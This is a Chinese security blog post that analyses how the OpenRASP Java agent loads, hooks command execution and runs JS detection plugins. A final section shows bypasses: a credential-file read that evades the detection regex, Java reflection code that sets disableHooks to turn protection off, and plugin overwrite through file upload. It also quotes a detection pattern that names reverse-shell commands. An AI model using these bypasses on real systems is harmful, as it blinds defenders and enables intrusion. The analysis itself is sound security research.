OpenRasp分析

admin 2024年10月29日00:05:13评论22 views字数 17931阅读59分46秒阅读模式

OpenRasp分析

[TOC]

写在前面

​ 花了点时间学习了下openrasp的核心代码,这里做下简单的分析

​ 相关项目地址:

https://github.com/baidu-security/openrasp-v8

https://github.com/baidu/openrasp

​ 这里我以目前官网最新版的1.3.7来做下分析,这里为了方便简单用springboot写个简单的控制器来进行调试分析即可,当然这里不会去看后端云控部分的代码,笔者只是想理清OpenRasp的逻辑

​ 另外说点p话,顺便在这个过程当中被迫了解了点c++语法真是太妙了

一些日志说明

OpenRasp的日志会通过文件的方式记录在对应文件夹下面,里面日志具体内容就不多解释了点开一眼就看得懂,了解下面几个关于日志目录介绍完全足够了

文件名 文件内容
plugin/plugin-DATE.log 检测插件的日志,e.g 插件异常、插件调试输出
rasp/rasp-DATE.log rasp agent 调试日志
alarm/alarm-DATE.log 攻击报警日志,JSON 格式,一行一个
policy_alarm/policy_alarm-DATE.log 安全基线检查报警日志,JSON 格式,一行一个

正文

初始化

首先既然是一个基于maven的项目,很多关键信息都肯定有定义的,类似premain-class以及Agent-class分别是启动时加载和启动后加载rasp,这里我们就以premain为例子,另一个差不多类似

OpenRasp分析

首先是执行init初始化

OpenRasp分析

初始化第一步JarFileHelper.addJarToBootstrap(inst);,可以看到这里其实就是把当前jar包也就是rasp.jar加载至Bootstrap类加载器,这里你可能想问为什么是最顶层的这个

OpenRasp分析

为什么要将rasp.jar加载至Bootstrap类加载器

通过JVM的api,把其路径追加到了启动类加载器的classpath中,这样,启动类加载器,收到类加载委派任务时,就能通过该classpath加载到rasp.jar的所有类了,根据双亲委派,意味着任何一个类加载器中的任何一个类,都能通过显式或者隐式加载,加载到rasp.jar中的类,反而网上说的啥无法hook到通过启动类加载器加载的类纯纯扯淡

配置初始化

接下来的readVersion()方法,其实就是读取一些rasp自身的配置

1234567891011121314
public static void readVersion() throws IOException {    Class clazz = Agent.class;    String className = clazz.getSimpleName() + ".class";    String classPath = clazz.getResource(className).toString();    String manifestPath = classPath.substring(0, classPath.lastIndexOf("!") + 1) + "/META-INF/MANIFEST.MF";    Manifest manifest = new Manifest((new URL(manifestPath)).openStream());    Attributes attr = manifest.getMainAttributes();    projectVersion = attr.getValue("Project-Version");    buildTime = attr.getValue("Build-Time");    gitCommit = attr.getValue("Git-Commit");    projectVersion = projectVersion == null ? "UNKNOWN" : projectVersion;    buildTime = buildTime == null ? "UNKNOWN" : buildTime;    gitCommit = gitCommit == null ? "UNKNOWN" : gitCommit;}

没啥好看的,看看MANIFEST.MF就好

OpenRasp分析

接下来执行ModuleLoader.load(mode, action, inst);

ModuleLoader类初始化

首先ModueLoader有个静态块,来看看代码做了两件事,一个是获取rasp.jar的绝对路径,另一个是获取拓展类加载器赋值给moduleClassLoader,至于为什么需要获取拓展类加载器,这里引入三梦师傅的话,很好理解没啥难度

1
其实,很多时候,比如tomcat,它在运行中,大部分类都是由实现的应用类加载器进行加载的,那么,假如Engine是通过某个应用类加载器进行加载的,而我们的hook代码,在tomcat中应用类加载器加载的某个类,插入了某段代码,这段代码直接(com.xxx.A.a();)调用了Engine的某个类的方法,那么,按照双亲委派机制,以及隐式加载的规范,将会抛出ClassNoFoundError的错误

再简单看看代码,待会儿说说这个moduleClassLoader的作用,在很后面这里先了解了解

123456789101112131415161718192021222324252627282930
static {        Class clazz;        try {            clazz = Class.forName("java.nio.file.FileSystems");            clazz.getMethod("getDefault").invoke((Object)null);        } catch (Throwable var4) {        }        clazz = ModuleLoader.class;        String path = clazz.getResource("/" + clazz.getName().replace(".", "/") + ".class").getPath();        if (path.startsWith("file:")) {            path = path.substring(5);        }        if (path.contains("!")) {            path = path.substring(0, path.indexOf("!"));        }        try {            baseDirectory = URLDecoder.decode((new File(path)).getParent(), "UTF-8");        } catch (UnsupportedEncodingException var3) {            baseDirectory = (new File(path)).getParent();        }        ClassLoader systemClassLoader;        for(systemClassLoader = ClassLoader.getSystemClassLoader(); systemClassLoader.getParent() != null && !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader"); systemClassLoader = systemClassLoader.getParent()) {        }        moduleClassLoader = systemClassLoader;    }

接下来进入构造函数,首先实例化赋值engineContainer = new ModuleContainer("rasp-engine.jar");

OpenRasp分析

引擎启动

JS初始化

com.baidu.openrasp.EngineBoot#start中首先通过Loader.load();引入动态链接库,具体引入的是干嘛的之后就知道了,之后我们暂时先忽略配置相关的东西进入主要的

首先是JS的初始化

OpenRasp分析

在这个过程,首先是设置日志输出相关

OpenRasp分析

紧接着是设置StackGetter,这其实是一个回掉函数的触发

OpenRasp分析

这一点可以从v8的文档得以验证,后面还会提到这里只是简单提提

OpenRasp分析

紧接着是下面两行

12
UpdatePlugin();InitFileWatcher();

一个UpdatePlugin();,首先遍历plugins目录下的js文件,并添加到scripts变量当中

OpenRasp分析

紧接着执行UpdatePlugin(List<String[]> scripts),首先是CreateSnapshot从名字可以看出是创建快照,我们还是来具体看看干了些啥

OpenRasp分析

简单对文件做了注释,因为流程确实没啥好说的

1234567891011121314151617181920212223242526272829303132333435363738394041424344
/* * Class:     com_baidu_openrasp_v8_V8 * Method:    CreateSnapshot * Signature: (Ljava/lang/String;[Ljava/lang/Object;Ljava/lang/String;)Z */ALIGN_FUNCTION JNIEXPORT jboolean JNICALL Java_com_baidu_openrasp_v8_V8_CreateSnapshot(JNIEnv* env,                                                                                       jclass cls,                                                                                       jstring jconfig,                                                                                       jobjectArray jplugins,                                                                                       jstring jversion) {  //global.checkPoints  auto config = Jstring2String(env, jconfig);  //RASP版本信息  auto version = Jstring2String(env, jversion);  std::vector<PluginFile> plugin_list;  const size_t plugin_len = env->GetArrayLength(jplugins);  //遍历plugin,并将插件文件名与插件内容保存到plugin_list里面  for (int i = 0; i < plugin_len; i++) {    jobjectArray plugin = (jobjectArray)env->GetObjectArrayElement(jplugins, i);    if (plugin == nullptr) {      continue;    }    jstring jname = (jstring)env->GetObjectArrayElement(plugin, 0);    jstring jsource = (jstring)env->GetObjectArrayElement(plugin, 1);    if (jname == nullptr || jsource == nullptr) {      continue;    }    auto name = Jstring2String(env, jname);    auto source = Jstring2String(env, jsource);    plugin_list.emplace_back(name, source);  }  auto duration = std::chrono::system_clock::now().time_since_epoch();  auto millis = std::chrono::duration_cast<std::chrono::milliseconds>(duration).count();  //好了注释到上面这一坨就结束了  Snapshot* blob = new Snapshot(config, plugin_list, version, millis, env);  if (!blob->IsOk()) {    delete blob;    return false;  }  std::lock_guard<std::mutex> lock(snapshot_mtx);  delete snapshot;  snapshot = blob;  return true;}

接下来是一个非常有意思的函数Snapshot,它的作用是创建一个构造好的js运行环境的快照,它继承了StartupData类,下面是我简单做的一些笔记

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374
Snapshot::Snapshot(const std::string& config,                   const std::vector<PluginFile>& plugin_list,                   const std::string& version,                   uint64_t timestamp,                   void* custom_data)    : v8::StartupData({nullptr, 0}), timestamp(timestamp) {  IsolateData data;  data.custom_data = custom_data;  v8::SnapshotCreator creator(external_references);  //获取一个隔离的环境  Isolate* isolate = reinterpret_cast<Isolate*>(creator.GetIsolate());  //void * 则不同,任何类型的指针都可以直接赋值给它,无需进行强制类型转换  //上面这个custom_data从传递来看,传递过来的其实是JNIENV的指向  isolate->SetData(&data);  {    v8::Isolate::Scope isolate_scope(isolate);    v8::HandleScope handle_scope(isolate);    v8::Local<v8::Context> context = v8::Context::New(isolate);    v8::Context::Scope context_scope(context);    v8::TryCatch try_catch(isolate);    v8::Local<v8::Object> global = context->Global();    //上下文当中设置version/global/window等信息    global->Set(context, NewV8Key(isolate, "version"), NewV8String(isolate, version)).IsJust();    global->Set(context, NewV8Key(isolate, "global"), global).IsJust();    global->Set(context, NewV8Key(isolate, "window"), global).IsJust();    v8::Local<v8::Object> v8_stdout = v8::Object::New(isolate);    //下面都是绑定函数,比如将write绑定到函数external_references[0]的指向(这变量是啥后面会说到),其他类似,另外还有绑定标准输出与标准错误    v8_stdout        ->Set(            context, NewV8Key(isolate, "write"),            v8::Function::New(context, reinterpret_cast<v8::FunctionCallback>(external_references[0])).ToLocalChecked())        .IsJust();    global->Set(context, NewV8Key(isolate, "stdout"), v8_stdout).IsJust();    global->Set(context, NewV8Key(isolate, "stderr"), v8_stdout).IsJust();    global        ->Set(            context, NewV8Key(isolate, "flex_tokenize"),            v8::Function::New(context, reinterpret_cast<v8::FunctionCallback>(external_references[1])).ToLocalChecked())        .IsJust();    global        ->Set(            context, NewV8Key(isolate, "request"),            v8::Function::New(context, reinterpret_cast<v8::FunctionCallback>(external_references[2])).ToLocalChecked())        .IsJust();    global        ->Set(            context, NewV8Key(isolate, "request_async"),            v8::Function::New(context, reinterpret_cast<v8::FunctionCallback>(external_references[3])).ToLocalChecked())        .IsJust();    //暂时不知道干嘛的,也没有这个js文件    if (isolate->ExecScript({reinterpret_cast<const char*>(gen_builtins), gen_builtins_len}, "builtins.js").IsEmpty()) {      Exception e(isolate, try_catch);      Platform::logger(e);      // no need to continue      return;    }    //初始化配置    if (isolate->ExecScript(config, "config.js").IsEmpty()) {      Exception e(isolate, try_catch);      Platform::logger(e);    }    //执行我们的插件js脚本做参数初始化以及各种检测函数的注册    for (auto& plugin_src : plugin_list) {      if (isolate->ExecScript("(function(){\n" + plugin_src.source + "\n})()", plugin_src.filename, -1).IsEmpty()) {        Exception e(isolate, try_catch);        Platform::logger(e);      }    }    creator.SetDefaultContext(context);  }  v8::StartupData snapshot = creator.CreateBlob(v8::SnapshotCreator::FunctionCodeHandling::kClear);  this->data = snapshot.data;  this->raw_size = snapshot.raw_size;}

另外上面提到的external_references里面的回掉函数在native-function.cc当中有定义,这里直接放过来很好理解就不做解释了,稍微占点篇幅了

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
#include "bundle.h"#include "flex/flex.h"#include "request.h"namespace openrasp_v8 {void log_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {  Isolate* isolate = reinterpret_cast<Isolate*>(info.GetIsolate());  for (int i = 0; i < info.Length(); i++) {    v8::String::Utf8Value message(isolate, info[i]);    Platform::logger({*message, static_cast<size_t>(message.length())});  }}void flex_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {  Isolate* isolate = reinterpret_cast<Isolate*>(info.GetIsolate());  auto context = isolate->GetCurrentContext();  if (info.Length() < 2 || !info[0]->IsString() || !info[1]->IsString()) {    return;  }  v8::String::Utf8Value str(isolate, info[0]);  v8::String::Utf8Value lexer_mode(isolate, info[1]);  char* input = *str;  int input_len = str.length();  flex_token_result token_result = flex_lexing(input, input_len, *lexer_mode);  size_t len = std::min(uint32_t(input_len), token_result.result_len);  auto arr = v8::Array::New(isolate, len);  for (int i = 0; i < len; i++) {    arr->Set(context, i, v8::Integer::New(isolate, token_result.result[i])).IsJust();  }  free(token_result.result);  info.GetReturnValue().Set(arr);}void request_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {  auto isolate = info.GetIsolate();  v8::TryCatch try_catch(isolate);  auto context = isolate->GetCurrentContext();  v8::Local<v8::Promise::Resolver> resolver;  if (!v8::Promise::Resolver::New(context).ToLocal(&resolver)) {    try_catch.ReThrow();    return;  }  info.GetReturnValue().Set(resolver->GetPromise());  HTTPRequest req(isolate, info[0]);  HTTPResponse res = req.GetResponse();  auto object = res.ToObject(isolate);  if (res.error) {    resolver->Reject(context, object).IsJust();  } else {    resolver->Resolve(context, object).IsJust();  }}void request_async_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {  auto isolate = info.GetIsolate();  AsyncRequest::GetInstance().Submit(std::make_shared<HTTPRequest>(isolate, info[0]));}intptr_t* Snapshot::external_references = new intptr_t[5]{    reinterpret_cast<intptr_t>(log_callback),    reinterpret_cast<intptr_t>(flex_callback),    reinterpret_cast<intptr_t>(request_callback),    reinterpret_cast<intptr_t>(request_async_callback),    0,};}  // namespace openrasp_v8

理解了这一段以后接下来再次回到Java端

OpenRasp分析

这里获得RASP.algorithmConfig并保存到ConfigItem.ALGORITHM_CONFIG

到这里插件更新部分就结束了

之后调用了InitFileWatcher,它的作用是创建以目录为单位的文件监听,如果文件进行增删改,就执行插件更新

OpenRasp分析

Checker的初始化

接下来就是Checker的初始化

OpenRasp分析

这里会遍历

OpenRasp分析

遍历Type这个枚举类型将检测类型以及对应的检测函数添加到checkers这个EnumMap当中

OpenRasp分析

CustomClassTransformer

继续回来接下来调用this.initTransformer(inst);,这里实例化CustomClassTransformer这个 Class 文件的转换器,OpenRasp分析

可以看到将自身作为类转换器进行添加

12345
public CustomClassTransformer(Instrumentation inst) {  this.inst = inst;  inst.addTransformer(this, true);  this.addAnnotationHook();}

并调用retransform,这里逻辑很简单就不多说,看不懂的可以自行学习JavaAgent

123456789101112131415161718
public void retransform() {        new LinkedList();        Class[] loadedClasses = this.inst.getAllLoadedClasses();        Class[] arr$ = loadedClasses;        int len$ = loadedClasses.length;        for(int i$ = 0; i$ < len$; ++i$) {            Class clazz = arr$[i$];            if (this.isClassMatched(clazz.getName().replace(".", "/")) && this.inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {                try {                    this.inst.retransformClasses(new Class[]{clazz});                } catch (Throwable var8) {                    LogTool.error(ErrorType.HOOK_ERROR, "failed to retransform class " + clazz.getName() + ": " + var8.getMessage(), var8);                }            }        }    }

因此之后当类加载的时候,会进入我们自己的 Transformer 中,执行 transform函数进行拦截

Hook

因此接下来我们着重看com.baidu.openrasp.transformer.CustomClassTransformer#transform方法,它会遍历hooks,如果条件符合(isClassMatched返回true)则会在制定的类方法当中进行hook

OpenRasp分析

而这些类来源于哪里呢?就是open.baidu.openrasp.hook文件夹下的类

OpenRasp分析

这里呢我们就随便挑一个来进行解读,那就来一个com.baidu.openrasp.hook.system.ProcessBuilderHook命令执行的类的吧,可以看到isClassMatched的规则

123456789
public boolean isClassMatched(String className) {    if (ModuleLoader.isModularityJdk()) {        return "java/lang/ProcessImpl".equals(className);    } else if (!OSUtil.isLinux() && !OSUtil.isMacOS()) {        return OSUtil.isWindows() ? "java/lang/ProcessImpl".equals(className) : false;    } else {        return "java/lang/UNIXProcess".equals(className);    }}

看看调用到底是如何调用的,我们回到com.baidu.openrasp.transformer.CustomClassTransformer#transform,可以看到最终返回的字节码是受hook.transformClass处理的,在这里还有个小细节是如果loadernull,则会调用setLoadedByBootstrapLoader设置其中属性为true,我们也知道什么情况下获取不到类加载器也就是由BootStrap启动器类加载器加载的一些类如FileRuntime等等,在设置为true以后在后面hook的时候生成代码有部分区别,之后会提到

OpenRasp分析

我们可以看到com.baidu.openrasp.hook.AbstractClassHook#transformClass,它会调用具体实现类的hookMethod方法

OpenRasp分析

这里也就是对应com.baidu.openrasp.hook.system.ProcessBuilderHook#hookMethod,可以看到这里的处理也是很全面的挺好

12345678910111213141516
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {    String src;    if (ctClass.getName().contains("ProcessImpl")) {        if (OSUtil.isWindows()) {            src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", new Class[]{String[].class, String.class});            this.insertBefore(ctClass, "<init>", (String)null, src);        } else if (ModuleLoader.isModularityJdk()) {            src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});            this.insertBefore(ctClass, "<init>", (String)null, src);        }    } else if (ctClass.getName().contains("UNIXProcess")) {        src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});        this.insertBefore(ctClass, "<init>", (String)null, src);    }}

在具体要hook的类方法前面加上checkCommand这个函数

回答上面遗留的ModuleClassloader的问题

在这里通过getInvokeStaticSrc这个方法生成具体插入的类,在这个方法当中可以看到,对于被BootStrap加载的类,它会通过com.baidu.openrasp.ModuleLoader.moduleClassLoader.loadClass去调用检查命令的checkCommand函数,这样就避免了由于双亲委派机制导致的ClassNotFoundException

OpenRasp分析

由于重载思想差不多就随便挑一个看看

1234567891011121314151617181920212223242526272829303132333435363738394041
public static void checkCommand(byte[] command, byte[] args, byte[] envBlock) {        if ((Boolean)HookHandler.enableCmdHook.get()) {            LinkedList<String> commands = new LinkedList();          //执行的命令            if (command != null && command.length > 0) {                commands.add(new String(command, 0, command.length - 1));            }          //执行的命令的参数            int index;            if (args != null && args.length > 0) {                int position = 0;                for(index = 0; index < args.length; ++index) {                    if (args[index] == 0) {                        commands.add(new String(Arrays.copyOfRange(args, position, index)));                        position = index + 1;                    }                }            }//来自envp参数,通常为空,通常是自己设置的环境变量            LinkedList<String> envList = new LinkedList();            if (envBlock != null) {                index = -1;                for(int i = 0; i < envBlock.length; ++i) {                    if (envBlock[i] == 0) {                        String envItem = new String(envBlock, index + 1, i - index - 1);                        if (envItem.length() > 0) {                            envList.add(envItem);                        }                        index = i;                    }                }            }            checkCommand((List)commands, (List)envList);        }    }

之后在讲命令和环境变量放到commandsenvList当中并执行checkCommand((List)commands, (List)envList);,这里会把执行的命令、环境变量、以及当前调用栈存放到params这个变量当中

OpenRasp分析

之后带着这些参数执行HookHandler.doCheckWithoutRequest,这里省略一些废话

之后在com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest

OpenRasp分析

会选择合适的checker去检查我们执行的东西

123
public static boolean check(Type type, CheckParameter parameter) {  return ((Checker)checkers.get(type)).check(parameter);}

继续省略一堆废话,最终会调用到V8.check

OpenRasp分析

我们来看看对应的c源码,这里忽略前面部分,后面这里有个比较骚的v8的函数SetLazyDataProperty

OpenRasp分析

函数对应的Getter是GetStack,可以看到这个函数里面比较核心的操作就是通过JNIENV去调用Java的com.baidu.openrasp.v8.V8#GetStack函数很骚

123456789101112131415161718
void GetStack(v8::Local<v8::Name> name, const v8::PropertyCallbackInfo<v8::Value>& info) {  auto isolate = reinterpret_cast<openrasp_v8::Isolate*>(info.GetIsolate());  auto env = GetJNIEnv(isolate);  jbyteArray jbuf = reinterpret_cast<jbyteArray>(env->CallStaticObjectMethod(v8_class.cls, v8_class.GetStack));  if (jbuf == nullptr) {    return info.GetReturnValue().Set(v8::Array::New(isolate));  }  auto maybe_string = v8::String::NewExternalOneByte(isolate, new ExternalOneByteStringResource(env, jbuf));  if (maybe_string.IsEmpty()) {    return info.GetReturnValue().Set(v8::Array::New(isolate));  }  auto maybe_value = v8::JSON::Parse(isolate->GetCurrentContext(), maybe_string.ToLocalChecked());  if (maybe_value.IsEmpty()) {    return info.GetReturnValue().Set(v8::Array::New(isolate));  }  auto value = maybe_value.ToLocalChecked();  info.GetReturnValue().Set(value);}

继续往下看check函数,由于我们这里分析的是command,所以if部分暂时不用看,之后调用isolate->Check去执行检测(不截图了,简单来说就是找到对应的注册的检测函数去调用)

OpenRasp分析

如何绕过

绕过的方式其实真的有很多,这里简单谈几个

基于正则的绕过

首先对于规则的检测既然是基于正则表达式,那么很显然如果在规则不够完善的情况之下,那也是可以造成一部分的绕过,比如我们可以看到在官方的插件当中,我们就拿这第一个查看文件的命令来说只是任意匹配1-5位,虽然不能通过多个空格之类的绕过

12345
command_common: {  name:    '算法3 - 识别常用渗透命令(探针)',    action:  'log',      pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'},

我们的cat函数支持同时读多个文件cat /abc/def /etc/passwd,这样也是可以轻轻松松得以进行绕过

通过修改某些属性

通常如果存在反序列化漏洞,我们通常可以通过TemplatesImpl去加载任意字节码,在这里如果对于在RASP执行检测过程当中如果存在某些关键配置我们可以操控,那么就可以导致绕过,而OpenRasp里面就有,比如在执行检测前中间的调用流程有个com.baidu.openrasp.HookHandler#doCheckWithoutRequest,这里面提到了如果服务器的cpu使用率超过90%禁用全部hook点OpenRasp分析

又或者满足当云控注册成功之前,不进入任何hook点,反正这些我们不都是可以通过反射去设置的么,这里我就随便来一个,就以第一个为例子吧,我们可以通过反射获取这个已经实例化的实例,在这个基础上修改disableHooks这个属性即可

OpenRasp分析

代码示例如下

123456789
try {  Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");  java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");  java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks");  disableHooks.setAccessible(true);  Object ins = getConfig.invoke(null);  disableHooks.set(ins,true);} catch (Exception e) {}

为了得到直观的效果我把插件当中的log改为block来演示下

12345
// 命令注入 - 常见命令command_common: {  name:    '算法3 - 识别常用渗透命令(探针)',    action:  'block',      pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh|\\{echo,.{10,400}{base64,-d}'}

并简单写了个控制器模拟反序列化过程(一个字懒)

123456789101112
@RequestMapping("/off")public void off(){  try {    Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");    java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");    java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks");    disableHooks.setAccessible(true);    Object ins = getConfig.invoke(null);    disableHooks.set(ins,true);  } catch (Exception e) {}}

首先执行命令返回可爱小恐龙

OpenRasp分析

当我访问off路由成功关闭rasp的hook功能

OpenRasp分析

当然你可能会说还有其他的关闭的hook点,比如刚刚上面提到的doCheckWithoutRequest实际上最终是通过doRealCheckWithoutRequest去进行下一步操作,但毕竟也是类似的意思就不多考虑这些更改属性的了点到为止,毕竟只要破坏中间任一环节即可

OpenRasp分析

覆盖插件

我们知道OpenRASP通过InitFileWatcher,一旦其中的js文件被创建改变删除都会触发插件的

OpenRasp分析

并且我们可以看到插件配置当中对于文件上传js默认是关闭逻辑检测的开关

OpenRasp分析

因此我们如果存在任意文件上传并且可以跨目录再并且知道插件路径的情况下,虽然不是很通用但好歹也是一个手段

至于有没有其他方式这里暂时我就不探究了,顺便吐槽学校的实训太累了,心理上的累

参考文章

官方文档

C++中构造函数的两种写法

JNIENV介绍

以OpenRASP为基础-展开来港港RASP的类加载

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:05:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OpenRasp分析https://cn-sec.com/archives/3314860.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息